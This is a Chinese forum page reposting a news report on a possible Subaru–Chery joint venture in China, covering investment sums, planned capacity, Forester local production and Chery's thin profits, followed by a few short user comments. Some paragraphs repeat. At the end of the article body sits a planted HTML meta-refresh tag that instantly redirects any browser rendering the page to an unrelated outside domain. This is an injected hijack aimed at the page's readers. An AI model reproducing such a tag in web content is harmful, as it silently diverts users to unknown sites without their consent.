超级军网斯巴鲁或牵手奇瑞 森林人成首款国产车
来源：百度文库 编辑：超级军网 时间：2024/04/29 15:14:07
<br /><br />近日，国内有多家媒体报道，奇瑞与斯巴鲁的合资谈判已经取得了进展，相关合资协议目前已经签署，只是暂时未对外公布。而按照斯巴鲁的计划，将于2011年3月前在中国敲定一家合资伙伴，预计具体的合资计划将在近期公布。
此前有媒体报道称，斯巴鲁计划联合奇瑞汽车在大连投资建厂，用于生产斯巴鲁汽车，双方共同投资金额将达到30亿日元（折合人民币2.38亿元）。而此前富士重工公关部负责人渡边在接受国内媒体采访时曾表示，今3月份之前，斯巴鲁将会公布在中国的国产计划。
根据此前富士重工发布的消息，该公司计划于2013年在华投产斯巴鲁汽车，预计初始年产能达到5万辆，并逐步提高到15万辆。此外，富士重工还计划在中国组建一家合资销售公司。斯巴鲁国产的首款车型是目前销量的绝对主力车型森林人。
斯巴鲁近年在国内的销量有了很大幅度的增长，2010年中国销量达到了5.7万辆，而进口的方式有较大的局限性，要在销量在取得更大的突破，国产是必然的选择。2010年6月，斯巴鲁在全国范围内下调旗下车型的零部件价格，平均降幅在20%左右，最高达40%。有分析师认为，该行为可以看作是斯巴鲁在为其国产化做准备。
而对于自主品牌奇瑞来说，通过合资获取更多利润是其发展路径上至关重要的一步。由于过于注重规模而不重视培育主力产品，数据显示，虽然2010年奇瑞汽车年销量达到了68.2万辆，但净利润却仅为2亿元左右。
编辑点评：奇瑞过于粗放的发展模式使其陷入了销量增长，利润却不增长的窘境。对于斯巴鲁来说，奇瑞并不是最理想的合资伙伴；而对于奇瑞来说，到今天这种局面，用合资来赚取利润也是无奈之举。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
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<br /><br />近日，国内有多家媒体报道，奇瑞与斯巴鲁的合资谈判已经取得了进展，相关合资协议目前已经签署，只是暂时未对外公布。而按照斯巴鲁的计划，将于2011年3月前在中国敲定一家合资伙伴，预计具体的合资计划将在近期公布。
此前有媒体报道称，斯巴鲁计划联合奇瑞汽车在大连投资建厂，用于生产斯巴鲁汽车，双方共同投资金额将达到30亿日元（折合人民币2.38亿元）。而此前富士重工公关部负责人渡边在接受国内媒体采访时曾表示，今3月份之前，斯巴鲁将会公布在中国的国产计划。
根据此前富士重工发布的消息，该公司计划于2013年在华投产斯巴鲁汽车，预计初始年产能达到5万辆，并逐步提高到15万辆。此外，富士重工还计划在中国组建一家合资销售公司。斯巴鲁国产的首款车型是目前销量的绝对主力车型森林人。
斯巴鲁近年在国内的销量有了很大幅度的增长，2010年中国销量达到了5.7万辆，而进口的方式有较大的局限性，要在销量在取得更大的突破，国产是必然的选择。2010年6月，斯巴鲁在全国范围内下调旗下车型的零部件价格，平均降幅在20%左右，最高达40%。有分析师认为，该行为可以看作是斯巴鲁在为其国产化做准备。
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根据此前富士重工发布的消息，该公司计划于2013年在华投产斯巴鲁汽车，预计初始年产能达到5万辆，并逐步提高到15万辆。此外，富士重工还计划在中国组建一家合资销售公司。斯巴鲁国产的首款车型是目前销量的绝对主力车型森林人。
斯巴鲁近年在国内的销量有了很大幅度的增长，2010年中国销量达到了5.7万辆，而进口的方式有较大的局限性，要在销量在取得更大的突破，国产是必然的选择。2010年6月，斯巴鲁在全国范围内下调旗下车型的零部件价格，平均降幅在20%左右，最高达40%。有分析师认为，该行为可以看作是斯巴鲁在为其国产化做准备。
而对于自主品牌奇瑞来说，通过合资获取更多利润是其发展路径上至关重要的一步。由于过于注重规模而不重视培育主力产品，数据显示，虽然2010年奇瑞汽车年销量达到了68.2万辆，但净利润却仅为2亿元左右。
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森林人不是扫把老国产的第一款车
扫把佬被偷油獭收编后会变得越来越乏味。
这点投资就是搞个总装线吧。